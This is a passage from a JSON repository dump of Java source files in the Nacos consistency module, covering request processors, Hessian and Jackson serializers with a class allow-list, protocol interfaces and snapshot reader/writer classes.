    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.consistency.entity.ReadRequest;\nimport com.alibaba.nacos.consistency.entity.Response;\nimport com.alibaba.nacos.consistency.entity.WriteRequest;\n\n/**\n * Can be discovered through SPI or Spring, This interface is just a function definition interface. Different\n * consistency protocols have their pwd\n * LogDispatcher. It is not recommended to directly implement this interface.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic abstract class RequestProcessor {\n    \n    /**\n     * get data by key.\n     *\n     * @param request request {@link com.alibaba.nacos.consistency.entity.ReadRequest}\n     * @return target type data\n     */\n    public abstract Response onRequest(ReadRequest request);\n    \n    /**\n     * Process Submitted Log.\n     *\n     * @param log {@link WriteRequest}\n     * @return {@link boolean}\n     */\n    public abstract Response onApply(WriteRequest log);\n    \n    /**\n     * Irremediable errors that need to trigger business price cuts.\n     *\n     * @param error {@link Throwable}\n     */\n    public void onError(Throwable error) {\n    }\n    \n    /**\n     * In order for the state machine that handles the transaction to be able to route the Log to the correct\n     * LogProcessor, the LogProcessor needs to have an identity information.\n     *\n     * @return Business unique identification name\n     */\n    public abstract String group();\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/SerializeFactory.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.consistency.serialize.HessianSerializer;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Serialization factory.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class SerializeFactory {\n    \n    public static final String HESSIAN_INDEX = \"Hessian\".toLowerCase();\n    \n    private static final Map<String, Serializer> SERIALIZER_MAP = new HashMap<>(4);\n    \n    public static final String DEFAULT_SERIALIZER = HESSIAN_INDEX;\n    \n    static {\n        Serializer serializer = new HessianSerializer();\n        SERIALIZER_MAP.put(HESSIAN_INDEX, serializer);\n        for (Serializer item : NacosServiceLoader.load(Serializer.class)) {\n            SERIALIZER_MAP.put(item.name().toLowerCase(), item);\n        }\n    }\n    \n    public static Serializer getDefault() {\n        return SERIALIZER_MAP.get(DEFAULT_SERIALIZER);\n    }\n    \n    public static Serializer getSerializer(String type) {\n        return SERIALIZER_MAP.get(type.toLowerCase());\n    }\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/Serializer.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency;\n\nimport java.lang.reflect.Type;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Serialization interface.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic interface Serializer {\n    \n    Map<String, Class<?>> CLASS_CACHE = new ConcurrentHashMap<>(8);\n    \n    /**\n     * Deserialize the data.\n     *\n     * @param data byte[]\n     * @param <T>  class type\n     * @return target object instance\n     */\n    <T> T deserialize(byte[] data);\n    \n    /**\n     * Deserialize the data.\n     *\n     * @param data byte[]\n     * @param cls  class\n     * @param <T>  class type\n     * @return target object instance\n     */\n    <T> T deserialize(byte[] data, Class<T> cls);\n    \n    /**\n     * Deserialize the data.\n     *\n     * @param data byte[]\n     * @param type data type\n     * @param <T>  class type\n     * @return target object instance\n     */\n    <T> T deserialize(byte[] data, Type type);\n    \n    /**\n     * Deserialize the data.\n     *\n     * @param data          byte[]\n     * @param classFullName class full name\n     * @param <T>           class type\n     * @return target object instance\n     */\n    default <T> T deserialize(byte[] data, String classFullName) {\n        try {\n            Class<?> cls = CLASS_CACHE.computeIfAbsent(classFullName, name -> {\n                try {\n                    return Class.forName(classFullName);\n                } catch (ClassNotFoundException e) {\n                    throw new RuntimeException(e);\n                }\n            });\n            return (T) deserialize(data, cls);\n        } catch (Exception ignore) {\n            return null;\n        }\n    }\n    \n    /**\n     * Serialize the object.\n     *\n     * @param obj target obj\n     * @return byte[]\n     */\n    <T> byte[] serialize(T obj);\n    \n    /**\n     * The name of the serializer implementer.\n     *\n     * @return name\n     */\n    String name();\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/ap/APProtocol.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.ap;\n\nimport com.alibaba.nacos.consistency.Config;\nimport com.alibaba.nacos.consistency.ConsistencyProtocol;\n\n/**\n * ap protocol.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\n@SuppressWarnings(\"all\")\npublic interface APProtocol<C extends Config, P extends RequestProcessor4AP> extends ConsistencyProtocol<C, P> {\n\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/ap/RequestProcessor4AP.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.ap;\n\nimport com.alibaba.nacos.consistency.RequestProcessor;\n\n/**\n * log processor for ap.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\n@SuppressWarnings(\"all\")\npublic abstract class RequestProcessor4AP extends RequestProcessor {\n\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/cp/CPProtocol.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.cp;\n\nimport com.alibaba.nacos.consistency.Config;\nimport com.alibaba.nacos.consistency.ConsistencyProtocol;\n\n/**\n * cp protocol.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\n@SuppressWarnings(\"all\")\npublic interface CPProtocol<C extends Config, P extends RequestProcessor4CP> extends ConsistencyProtocol<C, P> {\n    \n    /**\n     * Returns whether this node is a leader node\n     *\n     * @param group business module info\n     * @return is leader\n     */\n    boolean isLeader(String group);\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/cp/MetadataKey.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.cp;\n\n/**\n * Key value of metadata information of CP protocol.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class MetadataKey {\n    \n    public static final String LEADER_META_DATA = \"leader\";\n    \n    public static final String TERM_META_DATA = \"term\";\n    \n    public static final String RAFT_GROUP_MEMBER = \"raftGroupMember\";\n    \n    public static final String ERR_MSG = \"errMsg\";\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/cp/RequestProcessor4CP.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.cp;\n\nimport com.alibaba.nacos.consistency.RequestProcessor;\nimport com.alibaba.nacos.consistency.snapshot.SnapshotOperation;\n\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * log processor for cp.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\n@SuppressWarnings(\"all\")\npublic abstract class RequestProcessor4CP extends RequestProcessor {\n    \n    \n    /**\n     * Discovery snapshot handler It is up to LogProcessor to decide which SnapshotOperate should be loaded and saved by\n     * itself.\n     *\n     * @return {@link List <SnapshotOperate>}\n     */\n    public List<SnapshotOperation> loadSnapshotOperate() {\n        return Collections.emptyList();\n    }\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/exception/ConsistencyException.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.exception;\n\n/**\n * Conformance protocol internal exceptions.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class ConsistencyException extends RuntimeException {\n    \n    private static final long serialVersionUID = 1935132712388069418L;\n    \n    public ConsistencyException() {\n        super();\n    }\n    \n    public ConsistencyException(String message) {\n        super(message);\n    }\n    \n    public ConsistencyException(String message, Throwable cause) {\n        super(message, cause);\n    }\n    \n    public ConsistencyException(Throwable cause) {\n        super(cause);\n    }\n    \n    protected ConsistencyException(String message, Throwable cause, boolean enableSuppression,\n            boolean writableStackTrace) {\n        super(message, cause, enableSuppression, writableStackTrace);\n    }\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/serialize/HessianSerializer.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.serialize;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosDeserializationException;\nimport com.alibaba.nacos.common.utils.ByteUtils;\nimport com.alibaba.nacos.consistency.Serializer;\nimport com.caucho.hessian.io.Hessian2Input;\nimport com.caucho.hessian.io.Hessian2Output;\nimport com.caucho.hessian.io.SerializerFactory;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.lang.reflect.Type;\n\n/**\n * Serializer implement by hessian.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\n@SuppressWarnings(\"all\")\npublic class HessianSerializer implements Serializer {\n    \n    private static final String NAME = \"Hessian\";\n    \n    private SerializerFactory serializerFactory = new NacosHessianSerializerFactory();\n    \n    public HessianSerializer() {\n    }\n    \n    @Override\n    public <T> T deserialize(byte[] data) {\n        return deseiralize0(data);\n    }\n    \n    @Override\n    public <T> T deserialize(byte[] data, Class<T> cls) {\n        T result = deserialize(data);\n        if (result == null) {\n            return null;\n        }\n        if (cls.isAssignableFrom(result.getClass())) {\n            return result;\n        }\n        throw new NacosDeserializationException(cls, new ClassCastException(\n                \"%s cannot be cast to %s\".format(result.getClass().getCanonicalName(), cls.getCanonicalName())));\n    }\n    \n    @Override\n    public <T> T deserialize(byte[] data, Type type) {\n        return deserialize(data);\n    }\n    \n    private <T> T deseiralize0(byte[] data) {\n        if (ByteUtils.isEmpty(data)) {\n            return null;\n        }\n        \n        Hessian2Input input = new Hessian2Input(new ByteArrayInputStream(data));\n        input.setSerializerFactory(serializerFactory);\n        Object resultObject;\n        try {\n            resultObject = input.readObject();\n            input.close();\n        } catch (IOException e) {\n            throw new RuntimeException(\"IOException occurred when Hessian serializer decode!\", e);\n        }\n        return (T) resultObject;\n    }\n    \n    @Override\n    public <T> byte[] serialize(T obj) {\n        ByteArrayOutputStream byteArray = new ByteArrayOutputStream();\n        Hessian2Output output = new Hessian2Output(byteArray);\n        output.setSerializerFactory(serializerFactory);\n        try {\n            output.writeObject(obj);\n            output.close();\n        } catch (IOException e) {\n            throw new RuntimeException(\"IOException occurred when Hessian serializer encode!\", e);\n        }\n        \n        return byteArray.toByteArray();\n    }\n    \n    @Override\n    public String name() {\n        return NAME;\n    }\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/serialize/JacksonSerializer.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.serialize;\n\nimport com.alibaba.nacos.common.utils.ByteUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.consistency.Serializer;\n\nimport java.lang.reflect.Type;\n\n/**\n * Serializer implement by jackson.\n *\n * @author xiweng.yy\n */\npublic class JacksonSerializer implements Serializer {\n    \n    private static final String NAME = \"JSON\";\n    \n    @Override\n    public <T> T deserialize(byte[] data) {\n        throw new UnsupportedOperationException(\"Jackson serializer can't support deserialize json without type\");\n    }\n    \n    @Override\n    public <T> T deserialize(byte[] data, Class<T> cls) {\n        if (ByteUtils.isEmpty(data)) {\n            return null;\n        }\n        return JacksonUtils.toObj(data, cls);\n    }\n    \n    @Override\n    public <T> T deserialize(byte[] data, Type type) {\n        if (ByteUtils.isEmpty(data)) {\n            return null;\n        }\n        return JacksonUtils.toObj(data, type);\n    }\n    \n    @Override\n    public <T> byte[] serialize(T obj) {\n        return JacksonUtils.toJsonBytes(obj);\n    }\n    \n    @Override\n    public String name() {\n        return NAME;\n    }\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/serialize/NacosHessianSerializerFactory.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.serialize;\n\nimport com.caucho.hessian.io.SerializerFactory;\n\nimport java.text.SimpleDateFormat;\nimport java.time.Instant;\nimport java.time.LocalDate;\nimport java.time.LocalDateTime;\nimport java.time.LocalTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.ArrayList;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.LinkedHashMap;\nimport java.util.LinkedHashSet;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.TreeMap;\nimport java.util.TreeSet;\nimport java.util.WeakHashMap;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\nimport java.util.concurrent.ConcurrentSkipListMap;\nimport java.util.concurrent.CopyOnWriteArrayList;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.concurrent.atomic.AtomicLong;\nimport java.util.concurrent.atomic.AtomicReference;\n\n/**\n * Nacos Hessian Serializer Factory.\n *\n * @author xiweng.yy\n */\npublic class NacosHessianSerializerFactory extends SerializerFactory {\n    \n    NacosHessianSerializerFactory() {\n        super();\n        super.getClassFactory().setWhitelist(true);\n        allowBasicType();\n        allowCollections();\n        allowConcurrent();\n        allowTime();\n        super.getClassFactory().allow(\"com.alibaba.nacos.*\");\n    }\n    \n    private void allowBasicType() {\n        super.getClassFactory().allow(boolean.class.getCanonicalName());\n        super.getClassFactory().allow(byte.class.getCanonicalName());\n        super.getClassFactory().allow(char.class.getCanonicalName());\n        super.getClassFactory().allow(double.class.getCanonicalName());\n        super.getClassFactory().allow(float.class.getCanonicalName());\n        super.getClassFactory().allow(int.class.getCanonicalName());\n        super.getClassFactory().allow(long.class.getCanonicalName());\n        super.getClassFactory().allow(short.class.getCanonicalName());\n        super.getClassFactory().allow(Boolean.class.getCanonicalName());\n        super.getClassFactory().allow(Byte.class.getCanonicalName());\n        super.getClassFactory().allow(Character.class.getCanonicalName());\n        super.getClassFactory().allow(Double.class.getCanonicalName());\n        super.getClassFactory().allow(Float.class.getCanonicalName());\n        super.getClassFactory().allow(Integer.class.getCanonicalName());\n        super.getClassFactory().allow(Long.class.getCanonicalName());\n        super.getClassFactory().allow(Short.class.getCanonicalName());\n        \n        super.getClassFactory().allow(Number.class.getCanonicalName());\n        super.getClassFactory().allow(Class.class.getCanonicalName());\n        super.getClassFactory().allow(String.class.getCanonicalName());\n    }\n    \n    private void allowCollections() {\n        super.getClassFactory().allow(List.class.getCanonicalName());\n        super.getClassFactory().allow(ArrayList.class.getCanonicalName());\n        super.getClassFactory().allow(LinkedList.class.getCanonicalName());\n        \n        super.getClassFactory().allow(Set.class.getCanonicalName());\n        super.getClassFactory().allow(HashSet.class.getCanonicalName());\n        super.getClassFactory().allow(LinkedHashSet.class.getCanonicalName());\n        super.getClassFactory().allow(TreeSet.class.getCanonicalName());\n        \n        super.getClassFactory().allow(Map.class.getCanonicalName());\n        super.getClassFactory().allow(HashMap.class.getCanonicalName());\n        super.getClassFactory().allow(LinkedHashMap.class.getCanonicalName());\n        super.getClassFactory().allow(TreeMap.class.getCanonicalName());\n        super.getClassFactory().allow(WeakHashMap.class.getCanonicalName());\n        \n        super.getClassFactory().allow(\"java.util.Arrays$ArrayList\");\n        super.getClassFactory().allow(\"java.util.Collections$EmptyList\");\n        super.getClassFactory().allow(\"java.util.Collections$EmptyMap\");\n        super.getClassFactory().allow(\"java.util.Collections$SingletonSet\");\n        super.getClassFactory().allow(\"java.util.Collections$SingletonList\");\n        super.getClassFactory().allow(\"java.util.Collections$UnmodifiableCollection\");\n        super.getClassFactory().allow(\"java.util.Collections$UnmodifiableList\");\n        super.getClassFactory().allow(\"java.util.Collections$UnmodifiableMap\");\n        super.getClassFactory().allow(\"java.util.Collections$UnmodifiableNavigableMap\");\n        super.getClassFactory().allow(\"java.util.Collections$UnmodifiableNavigableSet\");\n        super.getClassFactory().allow(\"java.util.Collections$UnmodifiableRandomAccessList\");\n        super.getClassFactory().allow(\"java.util.Collections$UnmodifiableSet\");\n        super.getClassFactory().allow(\"java.util.Collections$UnmodifiableSortedMap\");\n        super.getClassFactory().allow(\"java.util.Collections$UnmodifiableSortedSet\");\n    }\n    \n    private void allowConcurrent() {\n        super.getClassFactory().allow(AtomicBoolean.class.getCanonicalName());\n        super.getClassFactory().allow(AtomicInteger.class.getCanonicalName());\n        super.getClassFactory().allow(AtomicLong.class.getCanonicalName());\n        super.getClassFactory().allow(AtomicReference.class.getCanonicalName());\n        \n        super.getClassFactory().allow(ConcurrentMap.class.getCanonicalName());\n        super.getClassFactory().allow(ConcurrentHashMap.class.getCanonicalName());\n        super.getClassFactory().allow(ConcurrentSkipListMap.class.getCanonicalName());\n        super.getClassFactory().allow(CopyOnWriteArrayList.class.getCanonicalName());\n    }\n    \n    private void allowTime() {\n        super.getClassFactory().allow(SimpleDateFormat.class.getCanonicalName());\n        super.getClassFactory().allow(DateTimeFormatter.class.getCanonicalName());\n        super.getClassFactory().allow(Instant.class.getCanonicalName());\n        super.getClassFactory().allow(LocalDate.class.getCanonicalName());\n        super.getClassFactory().allow(LocalDateTime.class.getCanonicalName());\n        super.getClassFactory().allow(LocalTime.class.getCanonicalName());\n        super.getClassFactory().allow(TimeUnit.class.getCanonicalName());\n        super.getClassFactory().allow(Date.class.getCanonicalName());\n        super.getClassFactory().allow(Calendar.class.getCanonicalName());\n    }\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/snapshot/LocalFileMeta.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.snapshot;\n\nimport java.util.Properties;\n\n/**\n * Meta information for the snapshot file.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class LocalFileMeta {\n    \n    private final Properties fileMeta;\n    \n    public LocalFileMeta() {\n        this.fileMeta = new Properties();\n    }\n    \n    public LocalFileMeta(Properties properties) {\n        this.fileMeta = properties;\n    }\n    \n    public LocalFileMeta append(Object key, Object value) {\n        fileMeta.put(key, value);\n        return this;\n    }\n    \n    public Object get(String key) {\n        return fileMeta.getProperty(key);\n    }\n    \n    public Properties getFileMeta() {\n        return fileMeta;\n    }\n    \n    @Override\n    public String toString() {\n        return \"LocalFileMeta{\" + \"fileMeta=\" + fileMeta + '}';\n    }\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/snapshot/Reader.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.snapshot;\n\nimport java.util.Collections;\nimport java.util.Map;\n\n/**\n * Read the snapshot file interface.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class Reader {\n    \n    private final String path;\n    \n    private final Map<String, LocalFileMeta> allFiles;\n    \n    public Reader(String path, Map<String, LocalFileMeta> allFiles) {\n        this.path = path;\n        this.allFiles = Collections.unmodifiableMap(allFiles);\n    }\n    \n    public String getPath() {\n        return path;\n    }\n    \n    public Map<String, LocalFileMeta> listFiles() {\n        return allFiles;\n    }\n    \n    public LocalFileMeta getFileMeta(String fileName) {\n        return allFiles.get(fileName);\n    }\n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/snapshot/SnapshotOperation.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.snapshot;\n\nimport java.util.function.BiConsumer;\n\n/**\n * Custom snapshot operation interface Discovery via SPI.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic interface SnapshotOperation {\n    \n    /**\n     * do snapshot save operation.\n     *\n     * @param writer      {@link Writer}\n     * @param callFinally Callback {@link BiConsumer} when the snapshot operation is complete\n     */\n    void onSnapshotSave(Writer writer, BiConsumer<Boolean, Throwable> callFinally);\n    \n    /**\n     * do snapshot load operation.\n     *\n     * @param reader {@link Reader}\n     * @return operation label\n     */\n    boolean onSnapshotLoad(Reader reader);\n    \n}\n"
  },
  {
    "path": "consistency/src/main/java/com/alibaba/nacos/consistency/snapshot/Writer.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.consistency.snapshot;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Snapshot write interface.\n *\n * @author <a href=\"mailto:liaochuntao@live.com\">liaochuntao</a>\n */\npublic class Writer {\n    \n    private final Map<String, LocalFileMeta> files = new HashMap<>();\n    \n    private String path;\n    \n    public Writer(String path) {\n        this.path = path;\n    }\n    \n    public String getPath() {\n        return path;\n    }\n    \n    /**\n     * Adds a snapshot file without metadata.\n     *\n     * @param fileName file name\n     * @return true on success\n     */\n    public boolean addFile(final String fileName) {\n        files.put(fileName, new LocalFileMeta().append(\"file-name\", fileName));\n        return true;\n    }\n    \n    /**\n     * Adds a snapshot file with metadata.\n     *\n     * @param fileName file name\n     * @return true on success\n     */\n    public boolean addFile(final String fileName, final LocalFileMeta meta) {\n        files.put(fileName, meta);\n        return true;\n    }\n    \n    /**\n     * Remove a snapshot file.\n     *\n     * @param fileName file name\n     * @return true on success\n     */\n    public boolean removeFile(final String fileName) {\n        files.remove(fileName);\n        return true;\n    }\n    \n    public Map<String, LocalFileMeta> listFiles() {\n        return Collections.unmodifiableMap(files);\n    }\n    \n}\n"
  },
  {
    "path": "consistency/src/main/proto/Data.proto",
